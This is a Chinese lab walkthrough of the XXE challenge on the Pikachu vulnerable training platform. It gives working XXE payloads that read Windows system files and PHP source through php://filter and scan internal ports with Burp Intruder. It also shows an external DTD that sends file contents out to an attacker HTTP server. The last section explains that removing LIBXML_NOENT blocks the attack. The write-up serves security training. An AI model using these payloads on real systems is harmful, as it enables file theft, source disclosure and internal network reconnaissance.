pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)
目录
一、来自官方的介绍以及来自民间的扩展
1、pikachu官方简介
2、小女子之前画的脑图
3、两个不错的博客
最好先看看下面两篇,补充一下xml实体和xxe的基础知识再做这个靶场
https://www.freebuf.com/articles/web/177979.html
https://lalajun.github.io/2019/12/03/WEB-XXE/
二、小白菜的闯关
pikachu的xxe只有一关,就像下图这样
随便输入个非xml的内容,会有一些“友善”的提示
随便输入个包含命名实体(内部实体)的xml数据(以下代码中xxe是命名实体的实体名称):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "仙女" > ]>
<foo>&xxe;</foo>
网页上回显“仙女”,说明网页对输入的xml数据是有结果回显的
注意:这里只能判断是否有回显,不能判断是否支持外部实体,后续章节分析代码的时候会做对比。
之前已经判断了输入内部实体是有回显的,那接下来可以用带内外部实体注入的方法,来确定是否支持外部实体,以及实施攻击。
1、查看系统文件内容
c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞
输入payload(以下代码中xxe是外部实体的实体名称):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
即可查看c:/windows/win.ini的内容
接下来想要查看其他系统敏感文件,只要以该文件路径替换掉c:/windows/win.ini就可以了
这里注意file://协议只能用绝对路径,用不了相对路径(具体见DVWA通关--文件包含(File Inclusion)的high关)
2、查看php源代码
查看php源代码一般用php伪协议php://filter
这里构造payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=c:/phpstudy_pro/WWW/pikachu/vul/rce/rce.php" > ]>
<foo>&xxe;</foo>
就可以得到base64编码的rce.php文件源代码
之后拿到网上或者burpsuite的decoder模块解码就好
3、爆破开放端口
没想到吧,xxe还能扫描开放端口呢(我也没想到)
在输入框中输入下面两段xml代码,虽然返回结果都是那段“友善”的提示,但是肉眼可见处理速度是不同的
原因是服务器80端口是开放的,而81端口是关闭的
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]>
<foo>&xxe;</foo>
那我们就可以burpsuite抓包之后进行爆破了
浏览器中提交上面的代码,并在burpsuite的proxy模块抓到下面的报文,send to intruder
这里为了演示,搞简单点,仅爆破1~100这100个端口,按照下图设置intruder模块,其他默认
按start attack开始攻击
注意,查看结果的时候,由于我们需要按照发request包和回response包的间隔排序,而默认爆破结果中是不包含这个的(见下图),因此需要做一些操作
此时需要点一下左上角的Columns,然后勾选上response received,然后就会像下图这样,结果列中增加了发请求和回答复之间的时间的显示
最后点一下response received列,让报文根据这列值的大小排序,可以发现1~100的端口中只有80端口开放
三、两点思考
1、这里不能试盲注?
虽然pikachu的xxe如之前所言是有回显的xxe,但是本来其实我想就用这个再试一下xxe盲注,也就是没有回显的情况下的xxe利用,但是发现似乎不可以。。。
事情是这样的:
我在攻击机上用python3 -m http.server 80简单起了一下http服务,然后写了个叫xxe.dtd的文件,内容如下:
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://192.168.101.14/xxe.xml?c=%file;'>">
然后再浏览器的输入框中提交了下面的xml代码:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.101.14/xxe.dtd">
%dtd;
%print;
%send;
]>
<text>yes</text>
结果攻击机上只有对xxe.dtd的请求,没有对xxe.xml的请求
也就是说只有外部参数实体%dtd;被解析了,而外部参数实体%print;或者%send;(或者两个都)没有被解析
后来试着把%print;%send;放到xxe.dtd文件最后面也不行
应该不是xxe.dtd文件有问题,因为后来也试过把xxe.dtd修改成不正确的格式,是会有那个“友善”的提示的。这也表明xxe.dtd确实有被解析,但是为何%send;没有被解析,实在是没弄懂
如果这里实际上可以实验盲注,或者哪位大神有其他想法万望告知,在此谢过
2、如果没有LIBXML_NOENT
服务器上的代码主要是下图49行simplexml_load_string()函数中使用了LIBXML_NOENT参数,导致外部实体可以被解析,才造成了xxe漏洞
下面将这个参数删掉,看看服务器解析内部实体和外部实体是否有区别
输入以下payload(内部实体),可以被正确解析:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "仙女" > ]>
<foo>&xxe;</foo>
输入以下payload(外部实体),不可以被解析:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
更多推荐
所有评论(0)